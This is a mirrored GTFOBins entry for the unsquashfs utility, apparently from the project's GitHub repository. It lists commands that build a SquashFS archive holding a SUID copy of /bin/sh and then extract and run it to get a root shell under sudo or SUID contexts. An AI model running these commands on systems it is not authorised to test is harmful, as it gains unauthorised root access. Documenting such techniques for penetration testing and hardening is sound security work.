1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/unsquashfs
2026-01-12 01:14:19 +01:00

19 lines
371 B
Plaintext

---
comment: |-
`unsquashfs` preserve the SUID bit when extracting the file system. For example, prepare an archive beforehand with the following commands as root:
```
cp /bin/sh .
chmod +s sh
mksquashfs sh shell
```
functions:
privilege-escalation:
- code: |-
unsquashfs shell
./squashfs-root/sh -p
contexts:
sudo:
suid:
...